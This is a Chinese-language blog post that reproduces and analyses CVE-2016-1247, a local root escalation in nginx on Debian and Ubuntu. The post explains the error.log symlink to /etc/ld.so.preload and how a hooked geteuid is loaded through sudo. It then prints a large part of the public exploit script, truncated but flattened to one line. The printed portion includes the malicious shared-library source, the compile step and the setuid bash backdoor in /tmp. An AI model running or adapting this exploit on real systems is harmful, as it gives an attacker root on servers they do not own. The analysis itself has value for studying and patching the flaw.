Debian、Ubuntu发行版的Nginx本地提权漏洞本地复现及分析

  • A+
所属分类:颓废's Blog
摘要

3.Linux系统下的文件除了rwx之外还有一种重要的权限,即s。linux系统中每个进程都有2个ID,分别为用户ID(uid)和有效用户ID(euid),UID一般表示进程的创建者(属于哪个用户创建),而EUID表示进程对于文件和资源的访问权限(具备等同于哪个用户的权限)。即真实的进程权限是有EUID标注的而非UID。当一个可执行文件的权限设置了set-user-ID位,那么它在执行时,进程的euid就是程序文件所属用户的ID!最直接的例子,就是sudo这个程序的文件权限:

0x00.前言
tomcat本地提权之后,最近又爆出了nginx deb包的本地提权漏洞,在本地测试分析之后,我发现其实这两个漏洞的触发点都是在同一处,利用方式也大同小异。相比deb包版的tomcat提权漏洞,这个漏洞的可用性更高一点,因为大多情况下tomcat的那个漏洞需要root管理员的交互操作(我想大多数时候没有自动定时重启tomcat的),但是如果nginx在/etc/logrotate.d/nginx已经设置了'daily'日志自动回滚的条件下,是不需要管理员交互就可以拿到root的。当我们通过web服务拿到一个web权限的时候,那么这个漏洞可用性还是很高的。

0x01.分析
这个漏洞的关键点是nginx日志目录下的error.log删除后将会root权限创建的,当nginx重新启动完成后,这个日志的文件用户拥有者又会回到www-data,意思这个过程中会有一次权限变化的过程,而且会首先用到root的权限,那么在这个过程中我们就可以从这短暂的root权限出发,想办法获得root从而达到提权的目的。这其实就跟tomcat的catalina.out文件一样 。具体怎么实现呢?从已经爆出的exp可以看出大致的利用过程,首先我们需要了解以下几点:
1.liunx使用touch创建文件,存在文件存在、不存在、存在为符号链接等等的情况,当文件为符号链接时会默认地对链接的文件进行操作。

2.Linux系统都支持应用程序在运行时进行动态链接库函数,以提供强大的扩展能力,所以Linux提供了一种可以在运行时重载/覆盖调用默认函数的环境变量,即LD_PRELOAD,LD_PRELOAD可以影响程序运行时的链接,它允许你定义在程序运行前优先加载动态链接库。这个功能主要用来有选择性的载入不同动态链接库中相同函数。通过这个环境变量,我们可以在主程序和其动态链接库的中间加载别的动态链接库,甚至覆盖正常的函数库。而在liunx下/etc/ld.so.cache可以控制动态库的查找方式,但事实上我们也没必要那么麻烦去修改这个文件,因为稍微修改错了可能系统整个就挂掉了,这里只是提一下。从exp我们可以看出还可以通过另一种方式来覆盖程序加载的动态库中的函数,即通过/etc/ld.so.preload文件,查了一些资料,Linux各个发行版中默认都不存在该文件,如果我们在/etc/ld.so.preload文件中加入一个so路径,那么elf程序在运行的时候都必然会去加载这个so并且优先使用里面的函数!但该文件由于处在/etc目录中,创建或者修改都需要root权限。

3.Linux系统下的文件除了rwx之外还有一种重要的权限,即s。linux系统中每个进程都有2个ID,分别为用户ID(uid)和有效用户ID(euid),UID一般表示进程的创建者(属于哪个用户创建),而EUID表示进程对于文件和资源的访问权限(具备等同于哪个用户的权限)。即真实的进程权限是有EUID标注的而非UID。当一个可执行文件的权限设置了set-user-ID位,那么它在执行时,进程的euid就是程序文件所属用户的ID!最直接的例子,就是sudo这个程序的文件权限:

Debian、Ubuntu发行版的Nginx本地提权漏洞本地复现及分析

所以当执行sudo程序的时候,我们可以以它所属用户的权限,即root(0)来操作系统。因此,一个最常见的提权思路,即为控制sudo的执行思路,绕过或者更改验证而直接执行代码。通过readelf查看sudo的引用的外部函数:

Debian、Ubuntu发行版的Nginx本地提权漏洞本地复现及分析

可以看到,sudo的执行过程中会用到getuid或者setuid这种函数,结合LD_PRELOAD环境变量,由于sudo程序只要装载进内存中它的euid必然是root,那么在执行验证之前那么我们使用LD_PRELOAD来覆盖要加载的getuid函数,就可以绕过验证使用root权限来执行代码了。

在了解了以上几点之后,那么总结一下,当我们将error.log这个文件删除又建立一个到ld.so.preload文件的软连接,在nginx重启时将会以root权限创建日志文件的同时也会操作ld.so.preload文件,重启完成后ld.so.preload文件就会和error.log一样变成了www-data用户拥有,这时我们就可以任意操作ld.so.preload文件了。接着我们就能将我们用来覆盖getuid方法的编译好的so文件并将其写入ld.so.preload文件,最后在执行sudo的时候就会优先加载我们自定义的getuid方法,从而实现权限提升。

0x02.漏洞利用
环境版本:

Debian、Ubuntu发行版的Nginx本地提权漏洞本地复现及分析

1.切换到www-data用户权限。首先删除error.log文件,并建一个指向ld.so.preload文件的软连接。

Debian、Ubuntu发行版的Nginx本地提权漏洞本地复现及分析

2.因为用apt-get默认安装的Nginx通过/etc/logrotate.d/nginx文件会每天定时回滚日志(如下图'daliy'),这里我们手动执行回滚,让它重新创建error日志文件,也就创建了ld.so.preload文件,当重启完成后并本地访问一次(为了让logrotation得到触发),这时ld.so.preload文件也变成了www-data用户拥有,那么我们就可以在里面写入重写后的getuid方法的so文件。

Debian、Ubuntu发行版的Nginx本地提权漏洞本地复现及分析

当我们访问一次本地,让logrotation得到触发后,手动执行日志回滚。(实际过程中会在每天早上自动回滚,我们只需要等待)

Debian、Ubuntu发行版的Nginx本地提权漏洞本地复现及分析

Debian、Ubuntu发行版的Nginx本地提权漏洞本地复现及分析

可以看到ld.so.preload的用户已经是www-data,用户组是root

Debian、Ubuntu发行版的Nginx本地提权漏洞本地复现及分析

3.当ld.so.preload文件为www-data所有时,我们就可以在www-data用户权限下将重写过的getuid方法编译成so文件并写入ld.so.preload文件

Debian、Ubuntu发行版的Nginx本地提权漏洞本地复现及分析

将编译好的so文件路径写入ld.so.preload文件

Debian、Ubuntu发行版的Nginx本地提权漏洞本地复现及分析

创建后门并通过执行sudo让系统自动加载ld.so.preload中的我们重写的getuid方法。最终拿到root,效果如下:

Debian、Ubuntu发行版的Nginx本地提权漏洞本地复现及分析

完整exp(来自播报360)其实自己也很好编写的:

BACKDOORSH="/bin/bash" BACKDOORPATH="/tmp/nginxrootsh" PRIVESCLIB="/tmp/privesclib.so" PRIVESCSRC="/tmp/privesclib.c" SUIDBIN="/usr/bin/sudo" function cleanexit { # Cleanup  echo -e "/n[+] Cleaning up..." rm -f $PRIVESCSRC rm -f $PRIVESCLIB rm -f $ERRORLOG touch $ERRORLOG if [ -f /etc/ld.so.preload ]; then echo -n > /etc/ld.so.preload fi echo -e "/n[+] Job done. Exiting with code $1 /n" exit $1 } function ctrl_c() {         echo -e "/n[+] Ctrl+C pressed" cleanexit 0 } #intro  cat <  -------------------------------            /              /          __---__                     _-       /--______                __--( /     / )XXXXXXXXXXX/v.                .-XXX(   O   O  )XXXXXXXXXXXXXXX-              /XXX(       U     )        XXXXXXX/            /XXXXX(              )--_  XXXXXXXXXXX/           /XXXXX/ (      O     )   XXXXXX   /XXXXX/           XXXXX/   /            XXXXXX   /__ /XXXXX          XXXXXX__/          XXXXXX         /__---->  ---___  XXX__/          XXXXXX      /__         /    /-  --__/   ___//  XXXXXX            /  ___--/=     /-/    ___/    XXXXXX              '--- XXXXXX        /-//XXX/ XXXXXX                      /XXXXX          /XXXXXXXXX   /                    /XXXXX/           /XXXXXX      >                 _/XXXXX/             /XXXXX--__/              __-- XXXX/              -XXXXXXXX---------------  XXXXXX-                 /XXXXXXXXXXXXXXXXXXXXXXXXXX/                   ""VXXXXXXXXXXXXXXXXXXV"" _eascii_ echo -e "/033[94m /nNginx (Debian-based distros) - Root Privilege Escalation PoC Exploit (CVE-2016-1247) /nnginxed-root.sh (ver. 1.0)/n" echo -e "Discovered and coded by: /n/nDawid Golunski /nhttps://legalhackers.com /033[0m" # Args if [ $# -lt 1 ]; then echo -e "/n[!] Exploit usage: /n/n$0 path_to_error.log /n" echo -e "It seems that this server uses: `ps aux | grep nginx | awk -F'log-error=' '{ print $2 }' | cut -d' ' -f1 | grep '/'`/n" exit 3 fi # Priv check echo -e "/n[+] Starting the exploit as: /n/033[94m`id`/033[0m" id | grep -q www-data if [ $? -ne 0 ]; then echo -e "/n[!] You need to execute the exploit as www-data user! Exiting./n" exit 3 fi # Set target paths ERRORLOG="$1" if [ ! -f $ERRORLOG ]; then echo -e "/n[!] The specified Nginx error log ($ERRORLOG) doesn't exist. Try again./n" exit 3 fi # [ Exploitation ] trap ctrl_c INT # Compile privesc preload library echo -e "/n[+] Compiling the privesc shared library ($PRIVESCSRC)" cat <$PRIVESCSRC #define _GNU_SOURCE #include  #include <sys/stat.h> #include  #include         #include <sys/types.h>        #include <sys/stat.h>        #include  uid_t geteuid(void) { static uid_t  (*old_geteuid)(); old_geteuid = dlsym(RTLD_NEXT, "geteuid"); if ( old_geteuid() == 0 ) { chown("$BACKDOORPATH", 0, 0); chmod("$BACKDOORPATH", 04777); unlink("/etc/ld.so.preload"); } return old_geteuid(); } _solibeof_ /bin/bash -c "gcc -Wall -fPIC -shared -o $PRIVESCLIB $PRIVESCSRC -ldl" if [ $? -ne 0 ]; then echo -e "/n[!] Failed to compile the privesc lib $PRIVESCSRC." cleanexit 2; fi # Prepare backdoor shell cp $BACKDOORSH $BACKDOORPATH echo -e "/n[+] Backdoor/low-priv shell installed at: /n`ls -l $BACKDOORPATH`" # Safety check if [ -f /etc/ld.so.preload ]; then echo -e "/n[!] /etc/ld.so.preload already exists. Exiting for safety." exit 2 fi # Symlink the log file rm -f $ERRORLOG && ln -s /etc/ld.so.preload $ERRORLOG if [ $? -ne 0 ]; then echo -e "/n[!] Couldn't remove the $ERRORLOG file or create a symlink." cleanexit 3 fi echo -e "/n[+] The server appears to be /033[94m(N)jinxed/033[0m (writable logdir) !                  

赞 (1) 打赏 分享

  • Debian、Ubuntu发行版的Nginx本地提权漏洞本地复现及分析支付宝扫一扫
  • Debian、Ubuntu发行版的Nginx本地提权漏洞本地复现及分析微信扫一扫
  • Debian、Ubuntu发行版的Nginx本地提权漏洞本地复现及分析企鹅扫一扫

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: